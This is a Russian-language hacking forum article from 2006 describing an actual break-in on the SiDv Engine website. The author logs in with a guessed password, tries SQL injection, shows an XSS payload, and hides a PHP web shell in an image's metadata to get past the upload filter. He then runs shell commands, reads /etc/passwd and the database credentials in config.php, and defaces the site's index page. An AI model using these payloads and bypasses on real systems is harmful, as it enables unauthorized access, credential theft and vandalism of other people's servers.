Авторские статьи Недостаточная фильтрация пользовательских данных

Discussion in 'Статьи' started by p-range, 20 Dec 2006.

  1. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Однажды, в студеную зимнюю пору... сидел я за компьютером. Делать было нечего, и тут я вспомнил что на днях совершенно случайно зашел на сайт www.sidv.com.ru.
    Как оказалось - это официальный сайт движка под названием SiDv Engine.
    Довольно неплохой дизайн, множество разных функций. Я зашел на страницу зарегистрированных пользователей. Выделил первого попавшегося и скопировал в поле логина. Как ни странно, но пароль был такой-же как и имя пользователя. Система дружелюбно сообщила мне о удачном входе =) Но не будем отходить от темы.

    Скачал скрипт, запустил денвер, добавил новый хост sidv.com.ru и установил движок. Я начал исследование скрипта. Сразу бросился в глаза урл такого вида: http://sidv.com.ru/index.php?m=News&a=view&id=1. Я естесственно поставил кавычку в значение id:
    http://sidv.com.ru/index.php?m=News&a=view&id=1'
    Немного подумав, скрипт выдал ошибку:
    Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in z:\home\sidv.com.ru\www\includes\templates\mysql_template.php on line 296
    Так как я знал название таблицы с юзерами и количество полей в нем, то сразу вставил sql-запрос в значение id:
    http://sidv.com.ru/index.php?m=News&a=view...er+WHERE+id=1/*
    Ничего хорошего из этого не вышло. Попробовал так:
    http://sidv.com.ru/index.php?m=News&a=view...9;+WHERE+id=1/*
    Как оказалось, это тоже ни к чему не привело.
    Я решил продолжить поиски бага. Вот один из многих XSS'ок:
    http://sidv.com.ru/index.php?m=%3Cscript%3...e)%3C/script%3E
    Но мне не хотелось заморачиваться с подделкой кукисов и социальной инженерией. Тут я зашел в меню профайла пользователя. Судя по-всему автор движка был незнаком с фильтрацией данных. Почти в каждое поле можно было вставлять любой html-код. Я увидел форму для закачки аватары с локального компьютера. Да, что-то все-же скрипт фильтровал.

    Возможно было закачивать только картинки формата jpg,gif,png... Немного попотев я сумел обойти фильтрацию расширений и смог залить маленький php-шелл. Но все попорядку.
    Сначала я открыл фотошоп и создал новую картинку 60х60. Далее File - > File Info и дописал в поле копирайтов вот такую строчку:
    <?passthru($_GET[cmd]);?>
    Сохранил картинку с именем "m.php%00.php". Скрипт без особых проблем пропустил "грязный скрипт". Все картинки загружались в директорию /foto_images/.
    Я перешел на http://sidv.com.ru/foto_images/m.php%00.php, но к моему сожалению сервер выдал ошибку Internal Server Error. Тогда я переименовал файл в m2.php00000000000000000000000.php, и О Боже, он загрузился и исправно работает !

    Я поспешил ввести команду m2.php00000000000000000000000.php?cmd=uname%20a. Но команда не выполнялась. Тогда я решил заменить код символа пробела на код символа табуляции. В результате получился запрос вида: ?cmd=uname%90a. Как я и предполагал, система успешно выполнила мою команду.

    Сервер крутился на Linux'e.

    Далее "id;":

    uid=32059(sidvcomr) gid=561(sidvcomr) groups=561(sidvcomr)

    Далее "ls -la;"

    total 157
    drwxr-xr-x 2 sidvcomr sidvcomr 1024 Mar 20 06:07 .
    drwxr-x--- 21 sidvcomr nobody 1024 Mar 19 11:28 ..
    -rw-r--r-- 1 sidvcomr sidvcomr 5268 Nov 20 05:11 190_anakin.gif
    -rw------- 1 sidvcomr sidvcomr 2018 Dec 30 17:47 2213.JPG
    -rw------- 1 sidvcomr sidvcomr 94850 Dec 30 17:40 JCDenton_e02.gif
    -rw-r--r-- 1 sidvcomr sidvcomr 3304 Jan 21 19:23 answer.gif
    -rw-r--r-- 1 sidvcomr sidvcomr 10164 Nov 20 05:11 emv_avatar.gif
    -rw-r--r-- 1 sidvcomr sidvcomr 685 Mar 20 06:06 error_log
    -rw-r--r-- 1 sidvcomr sidvcomr 0 Apr 13 2005 index.html
    -rw------- 1 sidvcomr sidvcomr 1042 Mar 20 06:07 m2.php00000000000000000000000.php
    -rw-r--r-- 1 sidvcomr sidvcomr 5343 Jul 27 2005 matrix03.gif
    -rw-r--r-- 1 sidvcomr sidvcomr 7810 Apr 13 2005 nfoto.gif
    -rw-r--r-- 1 sidvcomr sidvcomr 4438 Sep 19 17:42 shsm.jpg
    -rw------- 1 sidvcomr sidvcomr 6593 Mar 8 06:03 tn_Anita_Blond_t.jpg
    -rw------- 1 sidvcomr sidvcomr 3799 Dec 30 17:41 вв.jpg

    "cat ../../../../../etc/passwd;"

    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    news:x:9:13:news:/etc/news:
    ...

    "which wget curl lynx;" - как выяснилось, на сервере не было качалок. Я, конечно немного разочаровался из-за того что несмог залить на сервер сплоит.

    Мне ничего не осталось делать как посмотреть файл ../config.php, в котором хранилась информация о доступе к бд.

    Почувствовав что делать зжесь больше нечего, я просто заменил содержимое ../index.php на свое.

    Вот и все. В этой статье явно показано как можно обойти фильтрацию файлов по расширению. Конечно не везде такая бага прокатывает, но принять к сведению, думаю, стоит.